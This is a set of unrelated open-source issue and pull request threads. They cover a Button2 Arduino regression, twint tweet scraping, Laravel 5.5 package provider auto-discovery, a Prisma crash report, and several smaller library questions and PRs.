This code seems to be working fine on version 2.2.4 of the library, but doesn't recognise my button button anymore from 2.3.0 and 2.3.1
#include <Arduino.h>
#include <Button2.h>

#define BUTTON_PIN 19

Button2 button;

void setup() {
  Serial.begin(115200);
  Serial.println("Starting Setup");

  button.begin(BUTTON_PIN);

}

void loop() {
  button.loop();

  clickType buttonState = button.read();

  if (buttonState != clickType::empty) {
    Serial.println("Button State not empty");
  }
}

Because I first thought my button broke I even tried to just short PIN and GND. But I experienced the same behaviour with shorting.
Help or explanation would be highly appreciated.

Hey,
hm, that is strange.
If you compare the versions you'll see that I did not change that much in Button.h or Button.cpp. I do a more thorough reset of the button state in the read() function but that looks correct.
Unfortunately, I don't have time this weekend to look into this further.
I'll be a few days.

Yes, I did compare the versions, which confuses me even more. Sadly it is perfectly reproducible for me. Upgrading, downgrading, uninstalling, reinstalling. 2.2.4 works, above doesn't. If there is anything I can add for debugging purposes, let me know

2.3 doesn't work for me either on an Arduino r4. I get several errors.
Button2/src/Hardware.h:59:28: error: invalid conversion from 'int' to 'PinMode' [-fpermissive]
packages/arduino/hardware/renesas_uno/1.0.5/cores/arduino/api/Common.h:96:6: note:   initializing argument 2 of 'void pinMode(pin_size_t, PinMode)' void pinMode(pin_size_t pinNumber, PinMode pinMode);
Button2/src/Hardware.h:62:34: error: invalid conversion from 'int' to 'PinStatus' [-fpermissive] ::digitalWrite(pin, value);
.arduino15/packages/arduino/hardware/renesas_uno/1.0.5/cores/arduino/api/Common.h:97:6: note:   initializing argument 2 of 'void digitalWrite(pin_size_t, PinStatus)' void digitalWrite(pin_size_t pinNumber, PinStatus status);
``

@jay2216 different issue, create a new issue for it:
#66


New alias for mistral/pixtral-large-latest

Add to this list: https://github.com/simonw/llm-mistral/blob/98e0ae7cc6287ec8baea93b7d8ac87786b587bf9/llm_mistral.py#L10-L21

I'm going to add these to the README too using Cog.


Twitter does not return more data, scrape stops here.

Command Ran
c = twint.Config()
c.Username = username
c.Output=c.Username.csv
c.Limit=1000
c.Lang='en'
c.Store_csv=True
c.Retweets=True
twint.run.Profile(c)
Description of Issue
I AM GETTING THIS ON THE IPYTHON CONSOLE-
[!] Twitter does not return more data, scrape stops here.
[!] Twitter does not return more data, scrape stops here.
But when i run "twint -u username" through command line, i get the tweets of the same user.
I couldn't understand what wrong i am doing in code.
Environment Details

Using Windows 8.1 pro, Running this in Anaconda 3, spyder.

Idk what's wrong, you specified the same username in both cases. It's expected to get the same tweets

I forgot to mention that ,I am running this code in a for loop to fetch tweets of multiple users.
loop runs n time for n number of users.

twint -u username uses twint.run.Search scraping function, not twint.run.Profile
The difference is that the first uses the Twitter Advanced Search, the second scrapes the user's timeline

Thanks a lot for highlighting the difference, I have changed twint.run.Profile to twint.run.Search in the above code and I have not got that issue again.

Hello,
Thank you for developing the package. I'm getting the same error and I do want to scrape a given user's timeline.
For example with this code sample:
c = twint.Config()
c.Username = "AOC"
c.Retweets = True

tweets = twint.run.Profile(c)

I get
[!] Twitter does not return more data, scrape stops here.

Do you have any recommendations?

@Shooony  how many tweets did you get? That error message is expected since Twitter stops returning data when you get ~3200 tweets (value might vary)


Tolerate everything on ksr pod, just like etcd pod

Coverage increased (+0.04%) to 77.179% when pulling df63cace3f2e5f737386c4b42682008c7ed91c5b on nbartos:ksr-tolerate into 2ce13aa1c34a4eb8bd30c429e94eb61d83641943 on contiv:master.


Add category definition to the snippet

Forgot to add the category definition for the snippet.

@bot-gradle merge

Your PR is queued. See the queue page for details.

I've triggered a build for you. Click here to see all failures if there's any.


[5.5] Autoload Package Providers

This PR adds autoloading functionality for packages. Package maintainers can define their providers through the extra key in their composer.json file and they will be automatically loaded by the framework, eliminating the need for developers to manually register them.
Example:
{
    "extra": {
        "providers": "MyPackage\\MyServiceProvider"
    }
}

Or define multiple providers:
{
    "extra": {
        "providers": [
            "MyPackage\\MyFirstServiceProvider",
            "MyPackage\\MySecondServiceProvider",
        ]
    }
}

Benefits

Finally development related packages with service providers don't need to be registered anymore in the require list. They may simple be added in require-dev and when deploying to production, they won't be loaded into the app anymore
Installation for packages are done automatically, eliminating the need for developers to manually set things up

Some Notes

Functionality is on by default but can be opted out through a new config option
Package providers need to be known up front so they're cached in a new packages.php file in bootstrap/cache
The new PackageAssetLoader accepts any given key so you can still use it for other keys than just providers

I like this idea :+1:

@driesvints Can't 👍 enough!
Also, would this work with the existing cache artisan commands? (I mean, if I cache everything on deployment, this would still work...)

@m1guelpf yeah, this falls outside the caching commands. It'll create a new packages.php file in bootstrap/cache that's being handled the same way as the services.php file.

@driesvints And wouldn't this broke everything if a non-existent provider is provided? Is there some thind of check for this?

@m1guelpf I added a new commit where we'll check first to see if the class exists before registering.

@driesvints What will happen to the providers on the config/app.php file?

@m1guelpf nothing. They'll continue to work as expected. That part remains untouched.

This looks amazing, I'm wondering why it's not been done before

Yes this is great idea. Even if a single package have multiple providers which usually don't happen can it work?
And I also would like after installing package it prompts for vendor publish like interface :)
I like this idea and hope it gets merged in Laravel 5.5

@bloggervista this indeed also works for multiple providers

Few problems I have with this:

What about certain packages that you would like to register based on a certain environment?
You can't change the order your own providers or packages are registered in - personally I think package should be registered first, so your own providers can overwrite anything if required, i.e. your own providers should have the final say.
What if packages have an extra field with providers in but it doesn't actually have anything to do with Laravel? It may break the whole process, just a consideration.
This looks like it doesn't work for deferred service providers.

Personally, I would prefer to see some kind of package:install command and some 'plugin' based system for Laravel where developers can better and more easily integrate/install their application more easily. I know there is stuff like ->loadMigrationsFrom and ->publishes blah but I think that's all a bit clunky as well, the whole plugin system needs a bit of tweaking.

@garygreen

What about certain packages that you would like to register based on a certain environment?

You can still turn off this behavior and use your own providers to have these checks. You can add a package to require-dev as well and not have it installed on production.

You can't change the order your own providers or packages are registered in - personally I think package should be registered first, so your own providers can overwrite anything if required, i.e. your own providers should have the final say.

You can turn off this behaviour through the config option and register the providers manually in app.php if you like just like before. Nothing changes to the current behavior.

What if packages have an extra field with providers in but it doesn't actually have anything to do with Laravel? It may break the whole process, just a consideration.

I thought of this and considered having an laravel_providers key instead but I'm not sure if we should do that. I think very few packages are using a key like that atm. It'll only break for very specific use cases. So I'd still go for just the providers key.

This looks like it doesn't work for deferred service providers.

This is true & we're checking in on that.

Personally, I would prefer to see some kind of package:install command and some 'plugin' based system for Laravel where developers can better and more easily integrate/install their application more easily. I know there is stuff like ->loadMigrationsFrom and ->publishes blah but I think that's all a bit clunky as well, the whole plugin system needs a bit of tweaking.

This is a different discussion I believe :)

@garygreen I have rewritten some things to address all of those concerns.

Nice, look forward to seeing it. It would be nice if the config:cache command gets rid of the packages manifest file and instead puts all the the providers in the app stuff - that way it won't need to bootstrap an extra class and additional file on every request in production.

It would be opcached in production anyways.

The only one thing  about this way to loading service providers. What if I want to use package but extend service provider with my own one? Is it possible?

@a-komarev yes, there's a config option to turn off the behavior.

@a-komarev and you'll be able to not auto-discover individual packages.

All of the concerns expressed so far have been addressed. I am about to push the code.

This is nice feature, however the order of loading them might need further discussion, for instance I tried using laravel passport and it seems to fail the concept as it expects to have auth class defined in the container, where as that doesn't seem to exists.

@raftalks I think it's best that you open an issue on the passport repo for that

@driesvints  What what order will the plugin will be auto loaded ? I mean is it like adding service provider at last ?

@bloggervista behavior was recently changed: https://github.com/laravel/framework/pull/19646

Thanks for info i was worried about it :)

@driesvints what is the new config option to disable auto-discovery altogether ?
I am using the latest 5.5-dev and auto-discovery is enabled and working. But I can't seem to find any new option in any of the config files that have something to do with package discovery

@vesper8 Try defining 'autoload_package_providers' => false, on your config/app.php file and see if it works.
At least that's what's being used on this PR.

@vesper8 you can use this:
"extra": {
    "laravel": {
        "dont-discover": [
            "*"
        ]
    }
},

Here are the docs: https://laravel.com/docs/master/packages#package-discovery
@brunogaspar Note the quote in the first comment: the implementation here has been greatly refactored.

is there a way to list all the service providers and aliases that have been discovered ?
php artisan package:discover only lists the packages that contain service providers and/or aliases but since some packages can list multiple, or as I have now begun adding them myself for packages that are not adding it, it would be very useful to see what is actually being loaded
something like
php artisan package:discovered-aliases and php artisan package:discovered-providers
or php artisan package:discover --detailed
I know they are listed in /bootstrap/cache/packages.php but think it would be nice to have them listed in the console


PANIC: column on null constraint violation error

Hi Prisma Team! My Prisma Client just crashed. This is the report:
Versions

Name
Version

Node
v10.19.0

OS
debian-openssl-1.1.x

Prisma
2.4.1

Logs
  prisma-client { engineConfig:
  prisma-client    { cwd:
  prisma-client       '',
  prisma-client      enableDebugLogs: false,
  prisma-client      enableEngineDebugMode: undefined,
  prisma-client      datamodelPath:
  prisma-client       '/a',
  prisma-client      prismaPath: undefined,
  prisma-client      engineEndpoint: undefined,
  prisma-client      generator:
  prisma-client       { name: 'client',
  prisma-client         provider: 'prisma-client-js',
  prisma-client         output:
  prisma-client          'node_modules/@prisma/client',
  prisma-client         binaryTargets: [],
  prisma-client         experimentalFeatures: [],
  prisma-client         config: {} },
  prisma-client      showColors: false,
  prisma-client      logLevel: undefined,
  prisma-client      logQueries: undefined,
  prisma-client      flags: [],
  prisma-client      clientVersion: '2.4.1',
  prisma-client      enableExperimental: [ 'aggregations' ] } }  +0ms
  plusX Execution permissions of /home/manideep/streams/blockchain/Hyperledger/tars-blockchain-ms/api/node_modules/.prisma/client/query-engine-debian-openssl-1.1.x are fine  +0ms
  prisma-client Client Version 2.4.1  +69ms
  prisma-client Engine Version a9e8c3d97ef2a0cf59256e6b26097f2a80f0a6a4  +0ms

Hello! Can you please provide a minimal reproduction for the above crash? Unfortunately the automatically collected information in the issue does not give us much to go with here - we will need a bit more information. What were you doing? Can you share the code and schema that was active?

Ping @ManideepSadhu

Ping @ManideepSadhu

I am going to close this as its been 3 months now and there is no activity here.
Please reply if you want us to take another look.

I am going to close this as its been 3 months now and there is no activity here.
Please reply if you want us to take another look.


feat: Parser for flame_yarn

Description
This PR adds ability to parse Yarn files and create a YarnProject.
Not all syntaxes are covered yet, but a significant part is, and this should be enough to get started on creating a DialogueRunner.
Checklist

[x] The title of my PR starts with a Conventional Commit prefix (fix:, feat:, docs: etc).
[x] I have followed the Contributor Guide when preparing my PR.
[x] I have updated/added tests for ALL new/updated/fixed functionality.
[-] I have updated/added relevant documentation in docs and added dartdoc comments with ///.
[-] I have updated/added relevant examples in examples or docs.

Breaking Change?

[-] Yes, this PR is a breaking change.
[x] No, this PR is not a breaking change.

Related Issues
WIP for #2066

When having a look at this again, it seems like most of this code would be awesome as a separate package, since almost nothing so far seem specific to Flame, and then have the bridge package using that package (same structure as radiance will have once we get flame_radiance). Any reason that you put everything in here?

The functionality works in stages: first we load the data from .yarn files and create an internal representation; then we use that representation in order to run the dialogue in a Flame game. The second part I'm still working on atm.


Does this module work with Solr 3.x?

Just curious because we are using an older version of Solr on our production server currently.

The module definitely worked with 3.x when it was created. I haven't tested lately, but I'd be surprised if it doesn't work. Please check and file any issues.

Thanks will do!